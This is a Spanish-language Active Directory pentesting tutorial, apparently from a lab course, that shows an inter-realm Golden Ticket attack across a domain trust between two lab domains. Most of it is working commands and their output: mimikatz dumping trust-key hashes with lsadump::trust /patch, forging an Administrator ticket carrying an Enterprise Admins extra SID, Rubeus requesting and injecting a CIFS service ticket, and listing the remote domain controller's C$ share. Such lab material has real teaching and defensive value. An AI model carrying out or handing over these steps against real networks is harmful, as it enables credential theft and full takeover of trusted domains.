Golden Ticket Inter-realm TGT

Un Golden Ticket Inter-realm TGT es un TGT falsificado que se usa para acceder a recursos en un dominio de AD diferente al del atacante, aprovechando una relación de confianza entre dominios. El ataque implica los siguientes pasos:

  1. Compromiso del Dominio de Origen: El atacante debe tener control sobre el dominio de origen, específicamente acceso a la cuenta krbtgt, que es fundamental para la emisión de TGTs en Kerberos.

  2. Creación de un Golden Ticket: Utilizando herramientas como Mimikatz, el atacante crea un Golden Ticket. Este ticket es esencialmente una representación autenticada de un usuario (generalmente con privilegios elevados) en el dominio de origen.

  3. Inter-realm TGT: A diferencia de un Golden Ticket estándar que solo funciona dentro de un dominio, el Inter-realm TGT se crea para ser utilizado en un dominio de destino confiable. El atacante necesita conocer el SID (Security Identifier) del dominio de destino y posiblemente otros detalles para crear un TGT válido en el contexto del dominio de destino.

  4. Acceso a Recursos en el Dominio de Destino: Con el Golden Ticket Inter-realm, el atacante puede acceder a recursos y servicios en el dominio de destino, como si fuera un usuario autenticado y autorizado en ese dominio.

Consideremos un escenario donde un atacante ha comprometido el dominio SPARTANCYBERSEC.CORP y desea acceder al dominio confiable VIKINGSCYBERSEC.CORP. A continuación, se detalla el proceso utilizando mimikatz y Rubeus, herramientas comúnmente utilizadas en pentesting de Active Directory.

Extracción de la Clave Secreta del Dominio: Primero, el atacante utiliza mimikatz para extraer las claves secretas (hashes) de la cuenta krbtgt del dominio objetivo. El comando lsadump::trust /patch revela la información necesaria, incluyendo los hashes de diferentes algoritmos de cifrado como AES y RC4.

mimikatz # lsadump::trust /patch
Current domain: SPARTANCYBERSEC.CORP (SPARTANCYBERSEC / S-1-5-21-1861162130-2580302541-221646211)
Domain: VIKINGSCYBERSEC.CORP (VIKINGSCYBERSEC / S-1-5-21-3191546187-884582097-4033286759)
 [  In ] SPARTANCYBERSEC.CORP -> VIKINGSCYBERSEC.CORP
    * 11/7/2023 1:14:48 AM - CLEAR   - 43 73 ea 53 e6 d1 16 58 0d ba 22 b7 3e b4 3f da c8 7a a2 60 bc 7d e8 2f 36 da 02 58 bf 89 0d ec b2 15 e3 9e 04 be 96 9f 2d e3 00 13 0f 1c 50 16 e9 db bd 8f 61 0f 3a 69 cd df 66 09 3d e3 b7 8c cb db 47 09 e0 8b 00 4d 1e 58 6a 88 15 66 ba 12 6a e0 e1 77 8f 1e 49 53 3f 6c 7b d0 56 8a 3e b9 60 79 58 d2 4d 47 f3 e3 7a 7f 41 b3 7f d7 cc fd 26 16 47 c5 76 f6 5d 61 10 58 c3 29 5d ae 46 a5 93 98 f0 c0 b5 81 5d 72 5e b0 f4 49 15 e1 57 be c1 f2 0f 71 07 4b 31 b1 cb 28 75 70 b0 a4 6d 37 e0 9d 68 19 b3 3c 9b 7c 76 b3 ad 5c b8 62 da 2f 90 e6 50 37 df 07 3a 62 28 6e ba c6 12 72 3b 69 d4 44 d2 8d 9c 64 f0 19 40 1d fb eb 7c 9a d5 33 1f 72 bf bb 0f 77 48 0b ba 7f 96 47 0d 54 9e d9 46 d4 ab e6 86 83 52 84 8a e4 87 fc 31 c3 df de
        * aes256_hmac       47cc817e5fe18de708f9de4b331dfba5df658691752ddd8ae10bb3d4264fd9ad
        * aes128_hmac       648410cef621e5f0c05336786a3290ca
        * rc4_hmac_nt       a9e60b71ecaab835b49ec6a56ca99af5

Creación del Golden Ticket: Utilizando la clave secreta extraída (RC4_HMAC hash) y el SID del dominio SPARTANCYBERSEC.CORP, el atacante crea un Golden Ticket para el dominio VIKINGSCYBERSEC.CORP. Este tique le otorga al atacante los mismos privilegios que tendría un administrador del dominio.

mimikatz # kerberos::golden /domain:spartancybersec.corp /sid:S-1-5-21-1861162130-2580302541-221646211 /sids:S-1-5-21-3191546187-884582097-4033286759-519 /rc4:a9e60b71ecaab835b49ec6a56ca99af5 /user:Administrator /service:krbtgt /target:vikingscybersec.corp /ticket:ticketpremium.kirbi
User      : Administrator
Domain    : spartancybersec.corp (SPARTANCYBERSEC)
SID       : S-1-5-21-1861162130-2580302541-221646211
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3191546187-884582097-4033286759-519 ;
ServiceKey: a9e60b71ecaab835b49ec6a56ca99af5 - rc4_hmac_nt
Service   : krbtgt
Target    : vikingscybersec.corp
Lifetime  : 11/24/2023 4:26:16 AM ; 11/21/2033 4:26:16 AM ; 11/21/2033 4:26:16 AM
-> Ticket : ticketpremium.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz # exit
Bye!

Importación y Uso del Tique: A través de Rubeus, una herramienta complementaria a mimikatz para operaciones con tiques Kerberos, el atacante importa el Golden Ticket y solicita un tique de servicio (TGS) para el recurso deseado en el dominio VIKINGSCYBERSEC.CORP.

PS C:\Users\Public\CPAD\CPAD-TOOLS> .\Rubeus.exe asktgs /ticket:ticketpremium.kirbi /service:CIFS/second-dc.vikingscybersec.corp /dc:second-dc.vikingscybersec.corp /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/second-dc.vikingscybersec.corp'
[*] Using domain controller: second-dc.vikingscybersec.corp (10.0.2.100)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIE7zCCBOugAwIBBaEDAgEWooIDzDCCA8hhggPEMIIDwKADAgEFoRYbFFZJS0lOR1NDWUJFUlNFQy5DlCRVJTRUMuQ09SUKkxMC+gAwIBAqEoMCYbBENJRlMbHnNlY29uZC1kYy52aWtpbmdzY3liZXJzZWMuY29ycA==

  ServiceName              :  CIFS/second-dc.vikingscybersec.corp
  ServiceRealm             :  VIKINGSCYBERSEC.CORP
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  spartancybersec.corp
  StartTime                :  11/24/2023 4:26:23 AM
  EndTime                  :  11/24/2023 2:26:23 PM
  RenewTill                :  12/1/2023 4:26:23 AM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  gudsaHfe+qa4JArQUynDy72mmNM4Yqf94vCqbBBIipo=

Despues de lo anterior, tendriamos un ticket que puede ser revisado con:

PS C:\Users\Public\CPAD\CPAD-TOOLS> klist
Current LogonId is 0:0x355e7
Cached Tickets: (1)

#0>     Client: Administrator @ spartancybersec.corp
        Server: CIFS/second-dc.vikingscybersec.corp @ VIKINGSCYBERSEC.CORP
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 11/24/2023 4:26:23 (local)
        End Time:   11/24/2023 14:26:23 (local)
        Renew Time: 12/1/2023 4:26:23 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

Acceso a Recursos: Una vez obtenido el TGS, el atacante puede acceder a recursos específicos en el dominio objetivo, en este caso, visualizando los directorios compartidos en \\second-dc.vikingscybersec.corp\c$.

Por lo anterior, se procede a ejecutar el siguiente comando:

PS C:\Users\Public\CPAD\CPAD-TOOLS> dir \\second-dc.vikingscybersec.corp\c$\

    Directory: \\second-dc.vikingscybersec.corp\c$
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/14/2018   6:56 AM                EFI
d-----       11/21/2023   1:14 AM                NTDS
d-----        5/13/2020   5:58 PM                PerfLogs
d-r---        9/19/2022  11:23 PM                Program Files
d-----        9/19/2022  11:42 PM                Program Files (x86)
d-r---        11/7/2023   1:09 AM                Users
d-----        9/19/2022  11:32 PM                Windows

Última actualización